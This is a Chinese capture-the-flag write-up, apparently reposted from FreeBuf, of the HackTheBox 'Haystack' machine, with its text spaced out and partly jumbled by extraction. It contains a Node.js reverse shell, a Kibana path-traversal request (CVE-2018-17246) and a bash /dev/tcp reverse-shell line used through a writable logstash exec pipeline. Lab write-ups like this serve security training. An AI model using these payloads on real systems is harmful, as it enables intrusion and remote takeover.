搜索

[14891] 2019-12-03_Hackthebox靶机实战：Haystack

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-12-03_Hackthebox靶机实战：Haystack H a c k   t h e   b o x 靶 机 实 战 ： H a y s t a c k d o n g n e   F r e e B u f   2 0 1 9 - 1 2 - 0 3 介 绍 介 绍 目 标 :   1 0 . 1 0 . 1 0 . 1 1 5 ( L i n u x ) K a l i :   1 0 . 1 0 . 1 6 . 6 1 H a y S t a c k   在   H T B   里 面 的 难 度 评 级 是 简 单 ， 但 其 实 它 一 点 都 不 简 单 。 在 一 堆 西 班 牙 语 中 找 到 用 户 名 和 密 码 真 的 好 头 痛 。 对 于   r o o t   权 限 ， 你 应 该 对   E L K   有 基 本 的 理 解 。 因 此 ， 这 台 机 器 还 是 比 较 新 颖 的 。 随 带 提 一 句 ， 前 段 时 间 出 现 的   K i b a n a   R C E   漏 洞 就 可 以 拿 来 利 用 。 信 息 枚 举 信 息 枚 举 老 规 矩 ， 用   n m a p   扫 一 轮 ： 检 测 到 的 服 务 ： #   N m a p   7 . 7 0   s c a n   i n i t i a t e d   S u n   J u n   3 0   0 1 : 1 0 : 5 3   2 0 1 9   a s :   n m a p   - s T   - p -   - - m i n - r a t e   1 5 0 0   - o N   p o r t s   1 0 . 1 0 . 1 0 . 1 1 5 N m a p   s c a n   r e p o r t   f o r   1 0 . 1 0 . 1 0 . 1 1 5 H o s t   i s   u p   ( 0 . 2 7 s   l a t e n c y ) . N o t   s h o w n :   6 5 5 3 2   f i l t e r e d   p o r t s P O R T           S T A T E   S E R V I C E 2 2 / t c p       o p e n     s s h 8 0 / t c p       o p e n     h t t p 9 2 0 0 / t c p   o p e n     w a p - w s p #   N m a p   7 . 7 0   s c a n   i n i t i a t e d   S u n   J u n   3 0   0 1 : 1 3 : 0 5   2 0 1 9   a s :   n m a p   - s C   - s V   - p 2 2 , 8 0 , 9 2 0 0   - o N   s e r v i c e s   1 0 . 1 0 . 1 0 . 1 1 5 N m a p   s c a n   r e p o r t   f o r   1 0 . 1 0 . 1 0 . 1 1 5 H o s t   i s   u p   ( 0 . 3 8 s   l a t e n c y ) . P O R T           S T A T E   S E R V I C E   V E R S I O N 2 2 / t c p       o p e n     s s h           O p e n S S H   7 . 4   ( p r o t o c o l   2 . 0 ) |   s s h - h o s t k e y : |       2 0 4 8   2 a : 8 d : e 2 : 9 2 : 8 b : 1 4 : b 6 : 3 f : e 4 : 2 f : 3 a : 4 7 : 4 3 : 2 3 : 8 b : 2 b   ( R S A ) |       2 5 6   e 7 : 5 a : 3 a : 9 7 : 8 e : 8 e : 7 2 : 8 7 : 6 9 : a 3 : 0 d : d 1 : 0 0 : b c : 1 f : 0 9   ( E C D S A ) | _     2 5 6   0 1 : d 2 : 5 9 : b 2 : 6 6 : 0 a : 9 7 : 4 9 : 2 0 : 5 f : 1 c : 8 4 : e b : 8 1 : e d : 9 5   ( E D 2 5 5 1 9 ) 8 0 / t c p       o p e n     h t t p         n g i n x   1 . 1 2 . 2 | _ h t t p - s e r v e r - h e a d e r :   n g i n x / 1 . 1 2 . 2 | _ h t t p - t i t l e :   S i t e   d o e s n ' t   h a v e   a   t i t l e   ( t e x t / h t m l ) . 9 2 0 0 / t c p   o p e n     h t t p         n g i n x   1 . 1 2 . 2 | _ h t t p - s e r v e r - h e a d e r :   n g i n x / 1 . 1 2 . 2 | _ h t t p - t i t l e :   5 0 2   B a d   G a t e w a y
对 于 端 口   8 0 ， 只 发 现 了 一 张   n e e d l e   图 片 ， 就 真 的 只 是 一 个 针 而 已 ， 其 实 这 只 是 靶 机 作 者 的 寓 意 而 已 （ 大 海 捞 针 ） 。 可 以 使 用   E x i f t o o l   来 分 析 图 片 ， 但 是 什 么 都 没 有 分 析 出 来 。 使 用   g o b u s t e r   来 爆 破 路 径 ， 但 是 一 个 有 用 的 路 径 都 没 有 发 现 。 n m a p   好 像 并 不 能 探 测   9 2 0 0   端 口 。 但 是 如 果 你 熟 悉   e l a s t i c s e a r c h   的 话 ， 你 应 该 非 常 熟 悉 这 个 端 口 。 E l a s t i c s e a r c h   是 最 近 特 别 好 的 非 关 系 型 数 据 库 。 这 里 面 似 乎 有 很 有 趣 的 东 西 ， 我 们 稍 后 再 具 体 讨 论 。 漏 洞 利 用 漏 洞 利 用 在 上 面 ， 我 们 已 经 讨 论 了 相 关 端 口 。 E l a s t i c s e a r c h   应 该 是 问 题 的 关 键 。 先 想 办 法 获 取   e l a s t i c s e a r c h   中 的 数 据 。 E l a s t i c s e a r c h   默 认 一 般 是 没 有 鉴 权 的 。 因 此 ， 我 们 可 以 想 办 法 获 取 里 面 的 数 据 。 一 开 始 ， 我 尝 试 使 用   k i b a n a   来 分 析 数 据 。 K i b a n a   是   E L K   技 术 栈 的 一 部 分 之 一 ， 对 于 分 析   e l a s t c i s e a r c h   的 数 据 很 方 便 ， 而 且 支 持 多 种 查 询 条 件 和 语 法 。 使 用 非 常 简 单 ， 只 需 要 下 载 文 件 然 后 解 压 。 在 运 行   k i b a n a   之 前 ， 只 需 要 修 改 c o n f i g . y m l 里 面 的 e l a s t i c s e a r c h . u r l ， 将 其 配 置 为 1 0 . 1 0 . 1 0 . 1 1 5 : 9 2 0 0 即 可 。 访 问   k i b a n a ， 你 可 以 发 现 存 在 两 个 索 引 ： b a n k 以 及 q u o t e s 。 索 引 b a n k 好 像 是 银 行 用 户 信 息 的 数 据 ， 看 起 来 好 像 没 有 有 用 的 信 息 。 对 于 索 引 q u o t e s ， 我 们 发 现 里 面 都 是 西 班 牙 语 的 句 子 。 说 实 话 ， 西 班 牙 语 看 着 都 头 疼 ， 别 说 在 里 面 找 东 西 了 。 K i b a n a   这 样 去 找 的 话 其 实 还 挺 困 难 的 。 而 且 q u o t e s 索 引 里 面 的 文 章 看 起 来 像 是 一 个 文 章 。 所 以 ， 最 好 还 是 一 次 性 把 q u o t e s 索 引 里 面 所 有 的 数 据 弄 出 来 。 e l a s t i c s e a r h - d u m p 可 以 拿 来 导 出   e l a s t i c s e a r c h   中 的 数 据 。 可 以 通 过 n p m   i n s t a l l   e l a s t i c d u m p   - g 安 装 工 具 ， 接 着 导 出 数 据 ： e l a s t i c d u m p       - - i n p u t = h t t p : / / p r o d u c t i o n . e s . c o m : 9 2 0 0 / q u o t e s       - - o u t p u t = q u p t e s . j s o n  
结 果 是 由 包 含 多 个 键 值 对 的 对 象 数 组 的   J S O N   数 据 。 这 里 面 最 重 要 的 就 是 里 面 的   q u o t e   属 性 。 直 接 阅 读   J S O N   也 不 是 很 方 面 ， 而 且 里 面 i d   的 顺 序 可 能 很 重 要 。 所 以 ， 我 写 了 一 个 脚 本 可 以 将 里 面 的   q u o t e   按 照   i d   排 序 ， 并 将 他 们 拼 接 在 一 起 。 现 在 ， 我 们 就 有 了 最 终 结 果 。 阅 读 起 来 方 便 多 了 ， 我 将 这 个 文 件 放 在 了   G i t h u b 。 如 果 你 使 用   C h r o m e   打 开 这 个 文 件 ， 你 可 直 接 右 键 选 择 翻 译 ， 这 样 我 们 要 找 的 东 西 就 明 显 多 了 。 在 这 篇 文 章 可 以 找 到 两 个 有 趣 的 字 符 串 。 如 果 将 这 两 句 话 翻 译 一 下 ： 后 面 的 字 符 串 使 用   b a s e 6 4   进 行 编 码 ， 解 码 之 后 ， 我 们 就 可 以 看 到 对 应 的 用 户 名 和 密 码 。 通 过 这 个 用 户 名 和 密 码 就 可 以   s s h   登 录 机 器 了 。 说 实 话 ， 其 实 我 不 是 很 喜 欢 这 台 机 器 的 普 通 用 户 的 部 分 。 不 过 也 正 如 这 台 机 器 关 键 的 一 句 话 ： 你 需 要 海 底 捞 针 。 提 权 提 权     - - o u t p u t = q u p t e s . j s o n       - - t y p e = d a t a i m p o r t   j s o n r e s u l t   =   { } t x t   =   " " w i t h   o p e n ( " q u o t e s . j s o n " )   a s   f :     d a t a   =   f . r e a d l i n e s ( )     f o r   e l e   i n   d a t a :         o b j   =   j s o n . l o a d s ( e l e )         i d   =   i n t ( o b j [ " _ i d " ] )         r e s u l t [ i d ]   =   o b j [ " _ s o u r c e " ] [ " q u o t e " ]     f o r   i   i n   s o r t e d ( r e s u l t . k e y s ( ) ) :         p r i n t ( i )         t x t   =   t x t   +   r e s u l t [ i ]   +   " n n " w i t h   o p e n ( " r e s u l t . m d " ,   " w " )   a s   f 1 :     f 1 . w r i t e ( t x t ) T e n g o   q u e   g u a r d a r   l a   c l a v e   p a r a   l a   m a q u i n a :   d X N l c j o g c 2 V j d X J p d H k g E s t a   c l a v e   n o   s e   p u e d e   p e r d e r ,   l a   g u a r d o   a c a :   c G F z c z o g c 3 B h b m l z a C 5 p c y 5 r Z X k = 我 已 经 保 存 了 这 台 机 器 的 密 码 ： d X N l c j o g c 2 V j d X J p d H k g 密 钥 不 能 丢 ， 我 保 存 在 了 这 里 :   c G F z c z o g c 3 B h b m l z a C 5 p c y 5 r Z X k =
如 果 你 仔 细 看 一 下 这 台 机 器 ， 你 就 会 发 现 这 台 机 器 就 是 使 用 了   E L K 。 你 可 以 在 机 器 里 面 找 到   k i b a n a   以 及   l o g s t a s h 。 如 果 你 谷 歌 k i b a n a e x p l o i t ， 你 可 以 找 到   G i t h u b   里 面 的 C V E - 2 0 1 8 - 1 7 2 4 6 ， 里 面 有 详 细 的 利 用 过 程 。 不 过 其 实 通 过   k i b a n a   最 新 的 漏 洞 C V E - 2 0 1 9 - 7 6 0 9 也 是 可 以 的 。 然 而 ， 有 个 问 题 是   k i b a n a   的 服 务 只 是 在 本 地 运 行 ， 因 为 它 配 置 项 里 面 没 有 配 置 对 外 开 放 。 所 以 你 不 能 直 接 从 外 部 访 问   k i b a n a   服 务 。 可 以 通 过   s s h   重 定 向 网 络 流 量 。 这 样 我 们 就 可 以 通 过     访 问   1 0 . 1 0 . 1 0 . 1 1 5   机 器 里 面 的   k i b a n a   服 务 了 。 将 漏 洞 利 用 代 码 的     文 件 放 在 目 标 机 器 里 面 的   t m p   目 录 。 稍 等 一 会 ， 现 在 我 们 就 是   k i b a n a   用 户 了 。 但 是 我 们 还 不 是   r o o t   用 户 ！ 不 要 沮 丧 ， 继 续 弄 。 如 果 我 们 仔 细 研 究 一 下 这 台 机 器 里 面 的   l o g s t a s h ， 我 们 会 发 现 一 件 有 趣 的 事 。 我 们 发 现 用 户 组     拥 有   l o g s t a s h     文 件 夹 的 写 权 限 。 s s h   5 6 0 1 : l o c a l h o s t : 5 6 0 1   s e c u r i t y @ 1 0 . 1 0 . 1 0 . 1 1 5 l o c a l h o s t : 5 6 0 1 s e r v e r . j s / /   s e r v e r . j s ( f u n c t i o n ( ) {         v a r   n e t   =   r e q u i r e ( " n e t " ) ,                 c p   =   r e q u i r e ( " c h i l d _ p r o c e s s " ) ,                 s h   =   c p . s p a w n ( " / b i n / s h " ,   [ ] ) ;         v a r   c l i e n t   =   n e w   n e t . S o c k e t ( ) ;         c l i e n t . c o n n e c t ( 1 2 3 4 ,   " 1 0 . 1 0 . 1 6 . 6 1 " ,   f u n c t i o n ( ) {                 c l i e n t . p i p e ( s h . s t d i n ) ;                 s h . s t d o u t . p i p e ( c l i e n t ) ;                 s h . s t d e r r . p i p e ( c l i e n t ) ;         } ) ;         r e t u r n   / a / ;   / /   P r e v e n t s   t h e   N o d e . j s   a p p l i c a t i o n   f o r m   c r a s h i n g } ) ( ) ; 我 们 可 以 通 过   b u r p   来 实 现 ， 记 得 先 设 置   n c   监 听 ： n c   - l v n p   1 2 3 4 ： G E T   / a p i / c o n s o l e / a p i _ s e r v e r ? s e n s e _ v e r s i o n = @ @ S E N S E _ V E R S I O N & a p i s = . . / . . / . . / . . / . . / . . / . . . / . . / . . / . . / t m p / s e r v e r . j s s u d o   - l   H T T P / 1 . 1 H o s t :   l o c a l h o s t : 5 6 0 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   L i n u x   x 8 6 _ 6 4 ;   r v : 6 0 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 0 . 0 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / l o c a l h o s t : 5 6 0 1 / a p p / k i b a n a c o n t e n t - t y p e :   a p p l i c a t i o n / j s o n k b n - v e r s i o n :   6 . 4 . 2 o r i g i n :   h t t p : / / l o c a l h o s t : 5 6 0 1 C o n n e c t i o n :   c l o s e k i b a n a c o n f . d l s   - l a h t o t a l   5 2 K d r w x r - x r - x .     3   r o o t       r o o t         1 8 3   j u n   1 8   2 2 : 1 5   . d r w x r - x r - x .   8 3   r o o t       r o o t       8 , 0 K   j u n   2 4   0 5 : 4 4   . . d r w x r w x r - x .     2   r o o t       k i b a n a       6 2   j u n   2 4   0 8 : 1 2   c o n f . d
  是   l o g s t a s h   的 配 置 文 件 夹 ， 一 般 由 3 个 文 件 组 成 。 查 看 一 下 这 个 目 录 ， 你 就 会 发 现 有 趣 的 事 。 在     里 面 存 在 一 个 命 令 执 行 。 如 果 你 对   l o g s t a s h   有 基 本 的 人 事 ， 你 应 该 知 道 这 3 个 文 件 的 作 用 分 别 是 啥 。   是 用 来 配 置 数 据 源 。   是 用 来 处 理 数 据 ， 支 持 多 种 插 件 ， 非 常 强 大 。   是 用 来 输 出 处 理 后 的 数 据 ， 比 如 输 出 到   e l a s t i c s e a r c h 或 者 文 件 中 。 我 们 可 以 找 到     里 面 的   。 因 此 利 用 过 程 就 非 常 清 晰 了 。 在     文 件 夹 里 面 创 建 一 个 前 缀 为     的 文 件 。 注 意 确 保 文 件 里 面 的 内 容 可 以 被 g r o k   正 确 的 解 析 ， g r o k   是   l o g s t a s h   一 个 通 过 正 则 解 析 数 据 的 插 件 。 然 后 这 个 命 令 就 可 以 成 功 执 行 了 。 这 里 面 最 重 要 的 部 分 就 是 如 何 创 建 可 以 被 正 确 解 析 的     内 容 了 。 如 果 你 知 道 如 何 使 用   g r o k   就 非 常 轻 松 了 。 G r o k   D e b u g g e r   是 一 个 还 好 用 的 在 线 调 试   g r o k   表 达 式 的 工 具 。 表 达 式 非 常 简 单 。 如 果 你 熟 悉 正 则 的 话 ， 这 个 表 达 式 很 好 理 解 。 f i l t e r . c o n f i n p u t . c o n f o u t p u t . c o n f d r w x r w x r - x .     2   r o o t       k i b a n a       6 2   j u n   2 4   0 8 : 1 2   c o n f . d - r w - r - - r - - .     1   r o o t       k i b a n a   1 , 9 K   n o v   2 8     2 0 1 8   j v m . o p t i o n s - r w - r - - r - - .     1   r o o t       k i b a n a   4 , 4 K   s e p   2 6     2 0 1 8   l o g 4 j 2 . p r o p e r t i e s - r w - r - - r - - .     1   r o o t       k i b a n a     3 4 2   s e p   2 6     2 0 1 8   l o g s t a s h - s a m p l e . c o n f - r w - r - - r - - .     1   r o o t       k i b a n a   8 , 0 K   e n e   2 3     2 0 1 9   l o g s t a s h . y m l - r w - r - - r - - .     1   r o o t       k i b a n a   8 , 0 K   s e p   2 6     2 0 1 8   l o g s t a s h . y m l . r p m n e w - r w - r - - r - - .     1   r o o t       k i b a n a     2 8 5   s e p   2 6     2 0 1 8   p i p e l i n e s . y m l - r w - - - - - - - .     1   k i b a n a   k i b a n a   1 , 7 K   d i c   1 0     2 0 1 8   s t a r t u p . o p t i o n c o n f . d o u t p u t . c o n g i n p u t . c o n f f i l t e r . c o n f o u t p u t . c o n f o u t p u t . c o n f e x e c / o p t / k i b a n a / l o g s t a s h _ c o m a n d o f i l t e r   {                 i f   [ t y p e ]   = =   " e x e c u t e "   {                                 g r o k   {                                                 m a t c h   = >   {   " m e s s a g e "   = >   " E j e c u t a r s * c o m a n d o s * : s + % { G R E E D Y D A T A : c o m a n d o } "   }                                 }                 } } i n p u t   {                 f i l e   {                                 p a t h   = >   " / o p t / k i b a n a / l o g s t a s h _ * "                                 s t a r t _ p o s i t i o n   = >   " b e g i n n i n g "                                 s i n c e d b _ p a t h   = >   " / d e v / n u l l "                                 s t a t _ i n t e r v a l   = >   " 1 0   s e c o n d "                                 t y p e   = >   " e x e c u t e "                                 m o d e   = >   " r e a d "                 } }
现 在 ， 我 们 已 经 知 道 如 何 创 建 相 应 的     里 面 。 下 一 步 就 是 选 择 执 行 命 令 了 。 这 台 机 器 里 面 没 有   n c 。 但 是 机 器 里 面 有   p y t h o n   和 p e r l 。 所 以 反 弹   s h e l l   的 命 令 会 有 一 点 场 。 最 后 选 择 了 反 弹 命 令 ： 。 将 相 应 的 内 容 写 入 到 文 件 中 ： 将   n c   设 置 监 听 端 口   1 2 3 4 ， 稍 等 一 会 ， 我 们 就 是   r o o t   用 户 了 。 * 本 文 作 者 ： 本 文 作 者 ： d o n g n e ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 o u t p u t   {                 i f   [ t y p e ]   = =   " e x e c u t e "   {                                 s t d o u t   {   c o d e c   = >   j s o n   }                                 e x e c   {                                                 c o m m a n d   = >   " % { c o m a n d o }   & "                                 }                 } } c o m a n d o b a s h   - i   > &   / d e v / t c p / 1 0 . 1 0 . 1 6 . 6 1 / 1 2 3 4   0 > & 1 e c h o   " E j e c u t a r     c o m a n d o :   b a s h   - i   > &   / d e v / t c p / 1 0 . 1 0 . 1 6 . 6 1 / 1 2 3 4   0 > & 1 "   >   / o p t / k i b a n a / l o g s t a s h _ 1 . t x t
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理